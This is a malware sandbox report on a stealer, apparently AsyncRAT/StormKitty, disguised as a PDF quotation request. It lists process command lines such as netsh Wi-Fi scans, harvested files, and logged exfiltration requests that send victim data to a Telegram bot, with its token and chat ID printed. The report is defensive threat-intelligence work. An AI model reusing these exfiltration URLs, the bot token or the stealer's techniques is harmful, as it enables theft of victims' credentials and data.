File name:

27052025_0637_26052025_Quotation_Request_-_SM_-_TMBL_-_S05102.pdf.rar

Full analysis: https://app.any.run/tasks/bbbe6e3d-17be-408d-88ac-5c6af3a00ed0
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: May 27, 2025, 06:42:30
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
arch-exec
stealer
stormkitty
evasion
telegram
worldwind
ims-api
generic
pastebin
arch-doc
asyncrat
rat
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

D0309D17522953C9E890B4A14D26C314

SHA1:

91FF528B7C84869EC05203640C3535E0A550F209

SHA256:

ECB7E6CCA4706566C9F7233FA4CE7AFD676EBA459888E0BA05CAA3897225A811

SSDEEP:

24576:SS29/19pDMgoaZYIGCKMdMZnG1NWG/tUhsI/wrT0m+:SS29/TpggoaZYIGCKMdMZnG1NWG/tMsW

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Actions looks like stealing of personal data

      • RegSvcs.exe (PID: 7828)

    • STORMKITTY has been detected (YARA)

      • RegSvcs.exe (PID: 7828)

    • Steals credentials from Web Browsers

      • RegSvcs.exe (PID: 7828)

    • ASYNCRAT has been detected (MUTEX)

      • RegSvcs.exe (PID: 7828)

  • SUSPICIOUS

    • Write to the desktop.ini file (may be used to cloak folders)

      • RegSvcs.exe (PID: 7828)

    • Starts application with an unusual extension

      • cmd.exe (PID: 8096)
      • cmd.exe (PID: 2268)

    • Using 'findstr.exe' to search for text patterns in files and output

      • cmd.exe (PID: 8096)

    • Starts CMD.EXE for commands execution

      • RegSvcs.exe (PID: 7828)

    • Uses NETSH.EXE to obtain data on the network

      • cmd.exe (PID: 8096)
      • cmd.exe (PID: 2268)

    • Possible usage of Discord/Telegram API has been detected (YARA)

      • RegSvcs.exe (PID: 7828)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • RegSvcs.exe (PID: 7828)

    • Checks for external IP

      • svchost.exe (PID: 2196)
      • RegSvcs.exe (PID: 7828)

    • Potential Corporate Privacy Violation

      • RegSvcs.exe (PID: 7828)

  • INFO

    • Manual execution by a user

      • Quotation Request - SM - TMBL - S05102.pdf.exe (PID: 7800)
      • notepad.exe (PID: 7320)
      • notepad.exe (PID: 7272)
      • notepad.exe (PID: 4700)
      • notepad.exe (PID: 1020)
      • notepad.exe (PID: 6416)
      • notepad.exe (PID: 5416)
      • WINWORD.EXE (PID: 5344)
      • notepad.exe (PID: 6132)
      • notepad.exe (PID: 6760)

    • Reads mouse settings

      • Quotation Request - SM - TMBL - S05102.pdf.exe (PID: 7800)

    • The sample compiled with english language support

      • WinRAR.exe (PID: 7488)

    • Checks supported languages

      • Quotation Request - SM - TMBL - S05102.pdf.exe (PID: 7800)
      • RegSvcs.exe (PID: 7828)
      • chcp.com (PID: 8148)
      • chcp.com (PID: 7220)

    • Reads the machine GUID from the registry

      • RegSvcs.exe (PID: 7828)

    • Reads the computer name

      • RegSvcs.exe (PID: 7828)

    • Create files in a temporary directory

      • Quotation Request - SM - TMBL - S05102.pdf.exe (PID: 7800)
      • RegSvcs.exe (PID: 7828)

    • Creates files or folders in the user directory

      • RegSvcs.exe (PID: 7828)

    • Changes the display of characters in the console

      • cmd.exe (PID: 8096)
      • cmd.exe (PID: 2268)

    • Checks proxy server information

      • RegSvcs.exe (PID: 7828)
      • slui.exe (PID: 4628)

    • Disables trace logs

      • RegSvcs.exe (PID: 7828)

    • Reads the software policy settings

      • RegSvcs.exe (PID: 7828)
      • slui.exe (PID: 4628)

    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 7320)
      • notepad.exe (PID: 7272)
      • notepad.exe (PID: 4700)
      • notepad.exe (PID: 6416)
      • notepad.exe (PID: 6760)
      • notepad.exe (PID: 1020)
      • notepad.exe (PID: 5416)
      • notepad.exe (PID: 6132)

    • Reads CPU info

      • RegSvcs.exe (PID: 7828)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)

EXIF

ZIP

FileVersion: RAR v5
CompressedSize: 536563
UncompressedSize: 1044992
OperatingSystem: Win32
ArchivedFileName: Quotation Request - SM - TMBL - S05102.pdf.exe
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
153
Monitored processes
24
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs quotation request - sm - tmbl - s05102.pdf.exe no specs #STORMKITTY regsvcs.exe cmd.exe no specs conhost.exe no specs chcp.com no specs netsh.exe no specs findstr.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs netsh.exe no specs svchost.exe notepad.exe no specs notepad.exe no specs notepad.exe no specs notepad.exe no specs notepad.exe no specs notepad.exe no specs notepad.exe no specs winword.exe notepad.exe no specs ai.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
1020"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\Desktop\ScanningNetworks.txtC:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2268"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssidC:\Windows\SysWOW64\cmd.exe—RegSvcs.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
4628C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
4700"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\Desktop\Desktop.txtC:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
5024netsh wlan show networks mode=bssidC:\Windows\SysWOW64\netsh.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Network Command Shell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\netsh.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
5344"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n C:\Users\admin\Desktop\currentlyclothing.rtf /o ""C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
16.0.16026.20146
Modules
Images
c:\program files\microsoft office\root\office16\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
5352\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5416"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\Desktop\OneDrive.txtC:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
6132"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\Desktop\Videos.txtC:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
Total events
27 463
Read events
27 078
Write events
364
Delete events
21

Modification events

(PID) Process:(7488) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(7488) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(7488) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(7488) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\27052025_0637_26052025_Quotation_Request_-_SM_-_TMBL_-_S05102.pdf.rar
(PID) Process:(7488) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(7488) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(7488) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(7488) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(7488) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList
Operation:writeName:ArcSort
Value:
32
(PID) Process:(7488) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths
Operation:writeName:name
Value:
256
Executable files
0
Suspicious files
116
Text files
89
Unknown types
22

Dropped files

PID
Process
Filename
Type
7800Quotation Request - SM - TMBL - S05102.pdf.exeC:\Users\admin\AppData\Local\Temp\autF7A0.tmpbinary
MD5:D7ADAEC8709BD75DC5F2F803CCE30146
SHA256:9F267CCB2D23E9F1CC9B6C4F734CA4A921159E5970C2F1839D77E93A2AD494B5
7828RegSvcs.exeC:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Documents\baycompleted.rtftext
MD5:9C3872ADC20D6CE540BBBE3EA719E1A8
SHA256:3CCD781E5125B761941CD5849E6E692B95960B4E367D487D698A90E38909F67A
7828RegSvcs.exeC:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Documents\desktop.initext
MD5:ECF88F261853FE08D58E2E903220DA14
SHA256:CAFEC240D998E4B6E92AD1329CD417E8E9CBD73157488889FD93A542DE4A4844
7828RegSvcs.exeC:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Downloads\humanship.jpgimage
MD5:011C4C514A636EBB2DD108CC2646ED86
SHA256:2DBBE8D5D30BE33F9D876E437D98B60ACC969780B95619952B8A8AAD28790FB6
7828RegSvcs.exeC:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Pictures\desktop.initext
MD5:29EAE335B77F438E05594D86A6CA22FF
SHA256:88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
7828RegSvcs.exeC:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Pictures\Saved Pictures\desktop.initext
MD5:87A524A2F34307C674DBA10708585A5E
SHA256:D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
7828RegSvcs.exeC:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Documents\drivepink.rtftext
MD5:9EAD52F9A183F3CFC822BB94EE56654F
SHA256:190D15650F970D6DAEC7A5787A2994E6CF3D810A11757AFEAE72890241147C3A
7828RegSvcs.exeC:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Pictures\Camera Roll\desktop.initext
MD5:D48FCE44E0F298E5DB52FD5894502727
SHA256:231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
7828RegSvcs.exeC:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Downloads\otherscoast.pngimage
MD5:0F4D3649FBBBED1F638BBBFE84599E88
SHA256:07CA0DF8EAB063348769500D40B15C2E214CD99368ADF1A8BA17EC2E16049739
7828RegSvcs.exeC:\Users\admin\AppData\Local\eb6ac490e04191317f0bea9d91713320\admin@DESKTOP-JGLLJLD_en-US\Grabber\DRIVE-C\Users\admin\Documents\focusmsn.rtftext
MD5:EFDE5CE9AE32431AE1D4A2EB9AEB3972
SHA256:A6D12A2B524296DCE88B21F11E8AA014A1A69C749D962857E04FEC2140C4F607
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
80
TCP/UDP connections
90
DNS requests
19
Threats
17

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5796
svchost.exe
GET
200
2.20.245.137:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5776
RUXIMICS.exe
GET
200
2.20.245.137:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5796
svchost.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5776
RUXIMICS.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
172.67.196.114:443
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=d4:da:6d:56:32:50
unknown
binary
88 b
—
7828
RegSvcs.exe
GET
200
104.16.185.241:80
http://icanhazip.com/
unknown
—
—
whitelisted
—
—
GET
400
149.154.167.99:443
https://api.telegram.org/bot8087473320:AAGll7iWfDp7yCIbKgAK2k7JvtSdLMvfSL8/sendMessage?chat_id=6779103906&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Pro%20-%20Results:*%0ADate:%202025-05-27%206:43:00%20AM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20admin%0ACompName:%20DESKTOP-JGLLJLD%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%20Intel(R)%20Core(TM)%20i5-6400%20CPU%20@%202.70GHz%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%0ARAM:%204090MB%0AHWID:%20078BFBFF000506E3%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%20192.168.100.2%0AInternal%20IP:%20192.168.100.13%0AExternal%20IP:%2051.190.88.103%0ABSSID:%20d4:da:6d:56:32:50%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%202%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2012%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%206%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True
unknown
binary
137 b
whitelisted
—
—
GET
200
149.154.167.99:443
https://api.telegram.org/bot8087473320:AAGll7iWfDp7yCIbKgAK2k7JvtSdLMvfSL8/sendMessage?chat_id=6779103906&text=%F0%9F%93%81%20Uploading%20Log%20Folders...
unknown
binary
286 b
whitelisted
—
—
GET
200
172.67.25.94:443
https://pastebin.com/raw/7B75u64B
unknown
text
46 b
whitelisted
—
—
POST
200
149.154.167.99:443
https://api.telegram.org/bot8087473320:AAGll7iWfDp7yCIbKgAK2k7JvtSdLMvfSL8/sendDocument?chat_id=6779103906
unknown
binary
499 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5796
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
5776
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5796
svchost.exe
2.20.245.137:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5776
RUXIMICS.exe
2.20.245.137:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5796
svchost.exe
2.23.246.101:80
www.microsoft.com
Ooredoo Q.S.C.
QA
whitelisted
5776
RUXIMICS.exe
2.23.246.101:80
www.microsoft.com
Ooredoo Q.S.C.
QA
whitelisted
7828
RegSvcs.exe
104.16.185.241:80
icanhazip.com
CLOUDFLARENET
—
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
google.com
  • 216.58.206.78
whitelisted
crl.microsoft.com
  • 2.20.245.137
  • 2.20.245.139
  • 23.216.77.6
  • 23.216.77.28
whitelisted
www.microsoft.com
  • 2.23.246.101
  • 23.35.229.160
whitelisted
icanhazip.com
  • 104.16.185.241
  • 104.16.184.241
whitelisted
api.mylnikov.org
  • 172.67.196.114
  • 104.21.44.66
unknown
api.telegram.org
  • 149.154.167.220
whitelisted
pastebin.com
  • 104.22.68.199
  • 104.22.69.199
  • 172.67.25.94
whitelisted
officeclient.microsoft.com
  • 52.109.76.240
whitelisted
omex.cdn.office.net
  • 23.48.23.42
  • 23.48.23.11
  • 23.48.23.62
  • 23.48.23.30
whitelisted

Threats

PID
Process
Class
Message
7828
RegSvcs.exe
Potential Corporate Privacy Violation
ET INFO Observed Wifi Geolocation Domain (api .mylnikov .org in TLS SNI)
7828
RegSvcs.exe
Attempted Information Leak
ET INFO IP Check Domain (icanhazip. com in HTTP Host)
2196
svchost.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup Domain in DNS Lookup (icanhazip .com)
—
—
Potential Corporate Privacy Violation
ET INFO Wifi Geolocation Lookup Attempt
—
—
Potentially Bad Traffic
ET INFO BSSID Location Lookup via api .mylnikov .org
2196
svchost.exe
Misc activity
ET HUNTING Telegram API Domain in DNS Lookup
7828
RegSvcs.exe
Misc activity
ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)
7828
RegSvcs.exe
Misc activity
ET HUNTING Telegram API Certificate Observed
—
—
Misc activity
ET HUNTING Telegram API Request (GET)
—
—
Misc activity
ET HUNTING Telegram API Request (GET)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
27052025_0637_26052025_Quotation_Request_-_SM_-_TMBL_-_S05102.pdf.rar